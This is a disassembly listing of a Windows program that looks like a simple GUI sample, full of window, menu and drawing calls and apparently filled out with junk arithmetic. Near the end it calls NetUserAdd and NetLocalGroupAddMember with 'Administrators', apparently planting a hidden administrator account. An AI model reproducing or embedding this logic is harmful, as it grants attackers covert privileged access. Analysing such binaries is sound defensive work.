movd xmm0, dword [0x44e674]
cvtdq2ps xmm0, xmm0
subss xmm1, xmm0
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
subss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [0x44e0bc], eax
mov esi, dword [0x44e664]
movzx eax, dl
imul eax, dword [ebp - 0x5c]
sub eax, ecx
mov ecx, dword [ebp - 0x74]
sub eax, dword [ebp - 0x48]
add eax, dword [0x44e1ec]
mov dword [0x44e0b8], eax
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x38], ecx
jne 0x41fa9b
cmp dword [ebp - 0x34], eax
jne 0x41fa9b
mov eax, 0x88888889
imul esi
mov eax, 0x44e1f0
add edx, esi
movzx eax, al
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ecx, eax
mov dword [ebp - 0x10], ecx
jmp 0x41faa4
inc dword [ebp - 0x24]
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], eax
cmp word [ebp - 0x16], si
je 0x41fb2e
movd xmm0, dword [ebp - 0x4c]
cvtdq2ps xmm0, xmm0
push ecx
movss dword [esp], xmm0
call fcn.004227b0
mov ecx, dword [0x44e1e0]
movzx eax, word [0x44e0c4]
add ecx, 0x55
cdq
idiv ecx
push ecx
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [ebp - 0x28], xmm0
movd xmm0, dword [ebp - 0x50]
fmul dword [ebp - 0x28]
cvtdq2pd xmm0, xmm0
fstp qword [ebp - 0x2c]
movsd qword [esp], xmm0
call fcn.00427170
movzx eax, byte [0x44e0bc]
add esp, 8
fadd qword [ebp - 0x2c]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [ebp - 0x2c], xmm0
fsub qword [ebp - 0x2c]
fstp qword [ebp - 0x2c]
movsd xmm0, qword [ebp - 0x2c]
call fcn.004280a1
mov dword [0x44e1dc], eax
jmp 0x41fbcf
mov ecx, dword [0x44e1e4]
mov eax, dword [ebp - 0xf8]
cdq
lea ecx, [ecx + 0x36]
idiv ecx
movzx ecx, di
mov esi, eax
mov eax, dword [ebp - 0x14]
sub esi, ecx
movzx ecx, word [0x44e1e8]
push ecx
add esi, ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x43cde0]
cvtpd2ps xmm0, xmm0
movss dword [ebp - 0x14], xmm0
movss dword [esp], xmm0
call fcn.00422730
mov eax, dword [0x44e0c8]
add esp, 4
add eax, 0x5e
movd xmm0, esi
fstp dword [ebp - 0x28]
movss xmm2, dword [ebp - 0x28]
cvtdq2ps xmm0, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
divss xmm2, xmm1
movd xmm1, dword [0x44e664]
cvtdq2ps xmm1, xmm1
mulss xmm2, xmm1
movd xmm1, dword [0x44e0d0]
cvtdq2ps xmm1, xmm1
subss xmm0, xmm2
subss xmm0, xmm1
addss xmm0, dword [ebp - 0x14]
call fcn.00427ec0
mov dword [ebp - 0x14], eax
mov esi, dword [ebp - 0x24]
test esi, esi
je 0x41fc39
mov edi, dword [0x44e0cc]
lea eax, [ebp - 0xac]
inc dword [ebp - 0x20]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowRect]
push 0
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, dword [ebp - 0xac]
sub ecx, dword [ebp - 0xa4]
add eax, ecx
cdq
sub eax, edx
mov esi, eax
push 1
sar esi, 1
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, dword [ebp - 0xa8]
sub ecx, dword [ebp - 0xa0]
push 1
add eax, ecx
push 0
cdq
push 0
sub eax, edx
sar eax, 1
push eax
push esi
push 0
push edi
call dword [sym.imp.USER32.dll_SetWindowPos]
mov esi, dword [ebp - 0x24]
cmp dword [0x44e1e0], 0
jne 0x41fcb5
movd xmm0, dword [0x44e0bc]
sub esp, 8
cvtdq2pd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.004272c0
mov edx, dword [0x44e0cc]
add esp, 8
mov edi, dword [ebp - 0x14]
movsd xmm3, qword [ebp - 0x64]
fstp qword [ebp - 0x2c]
movsd xmm2, qword [ebp - 0x2c]
movapd xmm1, xmm3
movd xmm0, edx
cvtdq2pd xmm0, xmm0
movzx eax, di
mov dword [ebp - 0x1c], edx
mulsd xmm2, xmm0
movd xmm0, dword [0x44e0d4]
cvtdq2pd xmm0, xmm0
mulsd xmm2, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
subsd xmm1, xmm2
addsd xmm1, xmm0
cvttsd2si eax, xmm1
mov dword [0x44e0d4], eax
jmp 0x41fce8
mov ecx, dword [0x44e0c8]
mov eax, dword [0x44b428]
cdq
movsd xmm3, qword [ebp - 0x64]
lea ecx, [ecx + 0x38]
mov edi, dword [ebp - 0x14]
idiv ecx
mov ecx, dword [0x44e0cc]
mov dword [ebp - 0x1c], ecx
movzx ecx, cl
sub ecx, eax
add ecx, dword [0x44e0c4]
mov dword [0x44e0d4], ecx
cmp esi, 1
jg 0x41fd3f
cmp dword [ebp - 0x20], 5
je 0x41fd1e
push 0xbb6
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov ecx, dword [ebp - 0x30]
inc ecx
mov dword [ebp - 0x30], ecx
cmp ecx, 0xa
jge 0x41fd66
mov esi, dword [0x44e0c4]
mov edi, dword [sym.imp.USER32.dll_GetCursorPos]
jmp 0x41f940
mov ecx, dword [ebp - 0x48]
imul ecx, dword [0x44b428]
mov eax, dword [ebp - 0xb4]
imul eax, dword [0x44e400]
add ecx, dword [ebp - 0x54]
add eax, ecx
mov dword [ebp - 0x54], eax
jmp 0x41fd6e
movzx ecx, byte [0x44e1e4]
movzx eax, word [0x44e664]
add ecx, eax
cmp ecx, dword [ebp - 0x58]
jbe 0x41fd6e
sub esp, 8
movsd qword [esp], xmm3
call fcn.00427404
fstp st(0)
add esp, 8
mov eax, dword [0x44e0cc]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x54], 0
jne 0x41fdc1
mov eax, 0x4bda12f7
imul dword [ebp - 0x50]
mov eax, 0xb21642c9
sar edx, 3
mov esi, edx
shr esi, 0x1f
add esi, edx
imul dword [0x44e0d4]
mov eax, dword [0x44e0b8]
add edx, dword [0x44e0d4]
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
lea eax, [eax + 0x44e400]
add ecx, edx
sub ecx, esi
sub ecx, dword [ebp - 0xf4]
sub ecx, dword [0x44e0c4]
add eax, ecx
mov dword [0x44e0b8], eax
cmp dword [0x44e1e0], 0
jne 0x41fe38
movd xmm0, dword [0x44e0bc]
sub esp, 8
cvtdq2pd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.004272c0
mov eax, dword [0x44e0cc]
add esp, 8
movsd xmm2, qword [ebp - 0x64]
fstp qword [ebp - 0x40]
movsd xmm1, qword [ebp - 0x40]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
movzx eax, di
mulsd xmm1, xmm0
movd xmm0, dword [0x44e0d4]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
subsd xmm2, xmm1
addsd xmm2, xmm0
cvttsd2si eax, xmm2
mov dword [0x44e0d4], eax
jmp 0x41fe5d
mov ecx, dword [0x44e0c8]
mov eax, dword [0x44b428]
cdq
lea ecx, [ecx + 0x38]
idiv ecx
mov edx, dword [ebp - 0x1c]
movzx ecx, dl
sub ecx, eax
add ecx, dword [0x44e0c4]
mov dword [0x44e0d4], ecx
lea eax, [ebp - 0xac]
push eax
push edx
call dword [sym.imp.USER32.dll_GetWindowRect]
mov edi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
call edi
mov ecx, dword [ebp - 0xac]
sub ecx, dword [ebp - 0xa4]
add eax, ecx
cdq
sub eax, edx
mov esi, eax
push 1
sar esi, 1
call edi
mov ecx, dword [ebp - 0xa8]
sub ecx, dword [ebp - 0xa0]
push 1
add eax, ecx
push 0
cdq
push 0
sub eax, edx
sar eax, 1
push eax
push esi
push 0
push dword [ebp - 0x1c]
call dword [sym.imp.USER32.dll_SetWindowPos]
cmp dword [0x44e1e8], 0
je 0x41fed6
cmp dword [0x44e664], 0
je 0x41fed6
push 0
lea eax, [ebp - 0x140]
push eax
push 0
call sub.MSACM32.dll_acmFormatTagDetailsA
lea ecx, [ebp - 0x88]
mov dword [ebp - 4], 0xffffffff
call fcn.0041cd40
mov eax, dword [0x44e1ec]
sub eax, dword [0x44e1dc]
je 0x41ff02
movzx eax, byte [0x44e6c8]
add dword [0x44e0b8], eax
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x340]
mov esi, dword [sym.imp.USER32.dll_LoadStringA]
push pe_nt_image_headers32
push eax
push dword [0x44b428]
push edi
call esi
push pe_nt_image_headers32
lea eax, [ebp - 0x444]
push eax
push dword [0x44e0d4]
push edi
call esi
push 0x43ba7e
push 0x44e400
call fcn.00426440
add esp, 8
test eax, eax
je 0x41ff5f
lea eax, [ebp - 0x240]
push 0x44e400
push eax
call fcn.00426350
add esp, 8
push 0x44e400
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
cmp dword [0x44e1e8], 0
mov dword [ebp - 0x3c], eax
je 0x41ffd9
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
lea eax, [ebp - 0x90]
push 0
push 0
push 0
push eax
call esi
test eax, eax
je 0x41ffd9
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x90]
push eax
push dword [ebp - 0x3c]
push dword [ebp - 0x90]
call dword [sym.imp.USER32.dll_TranslateAcceleratorA]
test eax, eax
jne 0x41ffc6
lea eax, [ebp - 0x90]
push eax
call edi
lea eax, [ebp - 0x90]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 0
push 0
push 0
lea eax, [ebp - 0x90]
push eax
call esi
test eax, eax
jne 0x41ff96
push 0
push 0
push 0
push method.ATL::CComObject_class_ATL::CAxFrameWindow_.1.virtual_40
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
cmp dword [0x44e0cc], 0
mov edi, eax
je 0x420015
lea esp, [esp]
push str.Title
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, eax
test esi, esi
je 0x420000
jmp 0x420018
mov esi, dword [ebp + 8]
push 0xfffffffffffffff0
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
and eax, 0xfff7ffff
push eax
push 0xfffffffffffffff0
push esi
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push 0
push dword [ebp + 8]
mov edi, dword [0x44e0b8]
push 0
push 0
push 0
push SysReAllocStringLen
push 0
push SysReAllocStringLen
push 0xcf0000
push 0x44e400
push 0x44e400
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, eax
push 1
push esi
call dword [sym.imp.SHELL32.dll_DragAcceptFiles]
push edi
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
cmp dword [0x44e1e8], 0x110
mov eax, dword [0x44e0cc]
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov dword [ebp - 0x20], eax
jne 0x420235
push dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push dword [ebp + 8]
mov esi, eax
push dword [ebp - 0x20]
call dword [sym.imp.USER32.dll_GetDlgItem]
push dword [ebp + 8]
mov dword [0x44ec8c], eax
push dword [ebp - 0x20]
call dword [sym.imp.USER32.dll_GetDlgItem]
mov dword [0x44ec90], eax
lea eax, [ebp - 0xe8]
push eax
push 0
push 0x101b
push esi
mov dword [ebp - 0xe8], 0xf
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0xe0], 0x50
mov dword [ebp - 0xdc], 0x43ba7e
mov dword [ebp - 0xd4], 0
call edi
lea eax, [ebp - 0xe8]
mov dword [ebp - 0xe0], 0x30
push eax
push 1
push 0x101b
push esi
mov dword [ebp - 0xdc], 0x43ba7e
mov dword [ebp - 0xd4], 1
call edi
lea eax, [ebp - 0xe8]
mov dword [ebp - 0xe0], 0x9a
push eax
push 2
push 0x101b
push esi
mov dword [ebp - 0xdc], 0x43ba7e
mov dword [ebp - 0xd4], 2
call edi
push 0x43cccc
lea eax, [ebp - 0x750]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00427a0e
add esp, 0xc
test eax, eax
jne 0x42019b
push dword [ebp - 0x10]
call fcn.004278d3
add esp, 4
push 0x43ccd0
lea eax, [ebp - 0x548]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00427a0e
add esp, 0xc
test eax, eax
jne 0x4201e2
lea eax, [ebp - 0x64]
push eax
call fcn.00427e6e
lea eax, [ebp - 0x64]
push eax
call fcn.00427e01
push eax
push str.start__s_n
push dword [ebp - 0x10]
call fcn.00427a53
push dword [ebp - 0x10]
call fcn.004278d3
add esp, 0x18
push dword [ebp + 8]
mov esi, dword [ebp - 0x20]
push esi
call dword [sym.imp.USER32.dll_GetDlgItem]
push dword [ebp + 8]
mov dword [0x44ec84], eax
push esi
call dword [sym.imp.USER32.dll_GetDlgItem]
push 0
push eax
push 0x469
push dword [0x44ec84]
mov dword [0x44ec88], eax
call edi
push 0x17
push 0
push 0x465
push dword [0x44ec84]
call edi
push 0
push 0
push 0x467
push dword [0x44ec84]
call edi
cmp dword [0x44e664], 0
je 0x4202ad
mov eax, dword [0x44e0b8]
mov ecx, dword [0x44e0d4]
mov esi, dword [0x44b428]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x28], ecx
cmp eax, 3
jne 0x420278
push 0xfffffffffffffff0
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
and eax, 0xfff7ffff
push eax
push 0xfffffffffffffff0
push esi
call dword [sym.imp.USER32.dll_SetWindowLongA]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x28]
cmp dword [0x44e1e8], 0
je 0x42028c
push ecx
push esi
push eax
push 0
call dword [sym.imp.USER32.dll_CallNextHookEx]
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
push eax
push 0
push method.ATL::CComObject_class_ATL::CAxFrameWindow_.1.virtual_40
push 5
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
je 0x4202ad
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov eax, dword [0x44e1e8]
mov edi, dword [ebp + 8]
mov edx, dword [0x44e0cc]
mov ecx, dword [0x44e0b8]
mov esi, dword [0x44e0bc]
mov dword [ebp - 0x3c], edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov dword [ebp - 0x90], str.Enable_or_disable_exit
mov dword [ebp - 0x8c], str.Exit_from_the_program
mov dword [ebp - 0x88], str.About_this_program
mov dword [ebp - 0x84], str.File_operations
mov dword [ebp - 0x80], str.Help_operations
mov dword [ebp - 0x7c], str.Menu_example
mov dword [ebp - 0x78], str.System_menu
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], ecx
cmp eax, 5
ja 0x4203a2
je 0x420914
mov edi, eax
dec edi
je 0x420357
dec edi
jne 0x4203bc
push dword [0x44ec9c]
mov eax, dword [sym.imp.GDI32.dll_DeleteObject]
call eax
push edi
call dword [sym.imp.USER32.dll_PostQuitMessage]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0xf
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x10
push eax
add eax, eax
push eax
push 0
push str.1.bmp
push dword [ebp - 0x3c]
call dword [sym.imp.USER32.dll_LoadImageA]
push 0x44e400
push dword [0x44e0b8]
mov dword [0x44ec9c], eax
push 4
push dword [ebp - 0x20]
call dword [sym.imp.USER32.dll_GetMenu]
push eax
call dword [sym.imp.USER32.dll_AppendMenuA]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
jmp 0x4203bc
mov dword [ebp - 0x10], eax
sub dword [ebp - 0x10], 0x111
je 0x4208d4
sub dword [ebp - 0x10], 0xe
je 0x42086d
push ecx
push esi
push eax
push edx
call dword [sym.imp.USER32.dll_DefWindowProcA]
cmp dword [0x44e1dc], 0
mov ecx, dword [0x44e1e8]
mov esi, dword [0x44e0d4]
jne 0x4203ec
movzx eax, word [0x44e68c]
add eax, ecx
add esi, eax
mov dword [0x44e0d4], esi
movzx eax, byte [0x44b428]
cmp eax, dword [0x44e664]
mov eax, dword [0x44e0b8]
mov edi, dword [0x44e1e4]
mov dword [ebp - 0x20], eax
jl 0x420413
add eax, edi
add esi, eax
mov dword [0x44e0d4], esi
movzx eax, word [0x44e6cc]
add ecx, 0x35
cdq
idiv ecx
mov edx, dword [ebp - 0x20]
add eax, dword [0x44e678]
je 0x420439
mov ecx, dword [0x44e0c8]
mov dword [0x44e6b4], ecx
jmp 0x42045f
movzx ecx, word [0x44e0cc]
imul ecx, dword [0x44e1ec]
movzx eax, dx
imul ecx, dword [0x44e0c4]
add ecx, eax
mov dword [0x44e6cc], ecx
mov ecx, dword [0x44e6b4]
movzx eax, dl
imul eax, dword [0x44e1e0]
push 0
push 0x44e400
imul eax, esi
imul eax, ecx
sub eax, edi
add eax, dword [0x44e678]
mov dword [0x44e3f8], eax
mov eax, dword [0x44e0bc]
mov dword [ebp - 0x10], eax
call dword [sym.imp.USER32.dll_FindWindowA]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push 0xffffff
push 1
push 0
mov dword [ebp - 0x14], eax
call dword [sym.imp.GDI32.dll_CreatePen]
push 0
mov esi, eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push esi
mov esi, dword [ebp - 0x14]
mov edi, eax
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
push edi
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
add eax, 2
mov dword [ebp - 0x10], eax
lea esi, [eax + 7]
push esi
lea edi, [ecx + 7]
push edi
push eax
push ecx
push dword [ebp - 0x14]
call dword [sym.imp.GDI32.dll_Ellipse]
push esi
lea eax, [edi + 7]
push eax
mov eax, dword [ebp - 0x10]
push eax
push edi
push dword [ebp - 0x14]
call dword [sym.imp.GDI32.dll_Ellipse]
mov esi, dword [0x44e660]
lea eax, [ebp - 0xac]
push 0xdc
push 0xdc
push 0x14
push 0x14
push eax
inc esi
call dword [sym.imp.USER32.dll_SetRect]
movzx ecx, byte [0x44b428]
movzx eax, byte [0x44e0bc]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x44e0b8]
shl ecx, 8
or ecx, eax
push ecx
push 0xa
push 0
call dword [sym.imp.GDI32.dll_CreatePen]
push eax
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xffa08c
mov edi, eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
cmp dword [0x44b428], 0
je 0x42056d
push eax
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
cmp dword [0x44e0d4], 0
je 0x420585
push 0xff00
push 3
push 0
call dword [sym.imp.GDI32.dll_CreatePen]
push 0x646464
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
cmp dword [0x44e664], 0
je 0x4205f4
push eax
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
push dword [ebp - 0xa0]
push dword [ebp - 0xa4]
push dword [ebp - 0xa8]
push dword [ebp - 0xac]
push esi
call dword [sym.imp.GDI32.dll_Ellipse]
push 0xffffff
push esi
call dword [sym.imp.GDI32.dll_SetTextColor]
push 1
push esi
call dword [sym.imp.GDI32.dll_SetBkMode]
push edi
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
push eax
mov eax, dword [sym.imp.GDI32.dll_DeleteObject]
call eax
push edi
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
mov dword [ebp - 0x3c], 0
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov dword [ebp - 0x78], eax
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x3c]
push eax
call sub.IPHLPAPI.DLL_NotifyRouteChange
test eax, eax
je 0x42062e
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call esi
cmp eax, 0x3e5
je 0x42062e
call esi
mov dword [0x44b428], eax
push dword [0x44e1e8]
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov edx, dword [0x44e1e8]
neg eax
mov esi, dword [0x44e664]
mov ecx, edx
sbb eax, eax
and eax, dword [0x44b428]
mov dword [0x44b428], eax
dec ecx
je 0x4206b1
dec ecx
je 0x420694
sub ecx, 0xd
je 0x420676
push dword [0x44e0d4]
push eax
push edx
push esi
call dword [sym.imp.USER32.dll_DefWindowProcA]
jmp 0x4206ca
lea eax, [ebp - 0x138]
push eax
push esi
call dword [sym.imp.USER32.dll_BeginPaint]
lea eax, [ebp - 0x138]
push eax
push esi
call dword [sym.imp.USER32.dll_EndPaint]
jmp 0x4206ca
push dword [0x44eca0]
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
push eax
call dword [sym.imp.GDI32.dll_DeleteEnhMetaFile]
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
jmp 0x4206ca
push 0x44e510
push 0
push 0x44e400
push 0
call dword [sym.imp.GDI32.dll_CreateEnhMetaFileA]
mov dword [0x44eca0], eax
movzx eax, word [0x44e0c4]
xor esi, esi
push 0x1fe
mov word [ebp - 0x644], ax
lea eax, [ebp - 0x642]
push esi
push eax
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x20], esi
call fcn.00423310
mov al, byte [0x44e1e8]
push 0xff
mov byte [ebp - 0x340], al
lea eax, [ebp - 0x33f]
push esi
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x30], pe_nt_image_headers32
call fcn.00423310
movdqu xmm0, xmmword [str.Administrators]
mov eax, dword [0x43c748]
add esp, 0x18
mov dword [ebp - 0xcc], eax
movzx eax, word [0x43c74c]
movdqu xmmword [ebp - 0xe4], xmm0
mov word [ebp - 0xc8], ax
movq xmm0, qword [0x43c740]
mov eax, dword [0x44e0d4]
movq qword [ebp - 0xd4], xmm0
xorps xmm0, xmm0
movq qword [ebp - 0xc6], xmm0
mov word [ebp - 0xbe], si
cmp eax, dword [0x44b428]
jle 0x4207b0
push 0x60
lea eax, [ebp - 0x1a0]
push esi
push eax
call fcn.00423310
add esp, 0xc
cmp dword [0x44e1e8], esi
je 0x42079f
mov ecx, dword [0x44e1dc]
mov eax, dword [0x44e1ec]
lea eax, [ecx + eax*2]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x340]
push eax
call dword [sym.imp.KERNEL32.DLL_GetComputerNameA]
mov dword [ebp - 0x19c], 0x43c4ac
mov edi, 1
mov dword [ebp - 0x194], 1
lea esp, [esp]
cmp dword [0x44e0c4], 0
mov dword [ebp - 0x188], 0x10241
mov dword [ebp - 0x164], 0xffffffff
je 0x42080c
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x1a0]
push eax
push dword [0x44e1e8]
lea eax, [ebp - 0x644]
push eax
call sub.NETAPI32.dll_NetUserAdd
jmp 0x420819
cmp edi, 1
cmova esi, dword [0x44e50c]
mov dword [ebp - 0x48], esi
inc edi
cmp edi, 3
jl 0x4207d0
cmp dword [ebp - 0x20], 0
jne 0x42082f
mov ecx, dword [ebp - 0x20]
add eax, ecx
mov eax, dword [ebp - 0x48]
call eax
cmp dword [0x44e1e8], 0
je 0x42084a
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0xe4]
push eax
push 0
call sub.NETAPI32.dll_NetLocalGroupAddMember
cmp dword [0x44e0c4], 0
je 0x420899
push dword [ebp + 8]
call sub.ADVAPI32.dll_LsaClose
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov edx, esi
xor ecx, ecx
shr edx, 0x10
mov eax, edx
cmp eax, dword [ebp - 0x14]
sete cl
xor eax, eax
cmp dword [ebp - 0x14], eax
sete al
test eax, ecx
je 0x4208ab
push str.Menu_example
push 0
push 0x401
push dword [ebp + 8]
call edi
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
test edx, 0x2000
je 0x4208ba
push str.System_menu
jmp 0x42088d
movzx eax, si
test dl, 0x10
je 0x4208cb
push dword [ebp + eax*4 - 0x84]
jmp 0x42088d
push dword [ebp + eax*4 - 0x90]
jmp 0x42088d
mov eax, esi
sub eax, 0
je 0x4208e7
dec eax
jne 0x420914
push eax
push eax
push 0x10
push edx
call edi
jmp 0x420914
push 0
push 1
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_EnableMenuItem]
xor eax, eax
cmp dword [0x44ec94], eax
sete al
mov dword [0x44ec94], eax
xor eax, eax
cmp dword [0x44ec98], eax
sete al
mov dword [0x44ec98], eax
push dword [ebp - 0x14]
push esi
push 5
push dword [ebp + 8]
call edi
lea eax, [ebp - 0xbc]
push eax
push dword [ebp - 0x20]
call dword [sym.imp.USER32.dll_GetClientRect]
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
push 0x10010
push str.UnBufCp1
push str.This_sample_application_can_only_be_run_on_Windows_NT._3.5_or_greater_nThis_application_will_now_terminate.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x41ecfc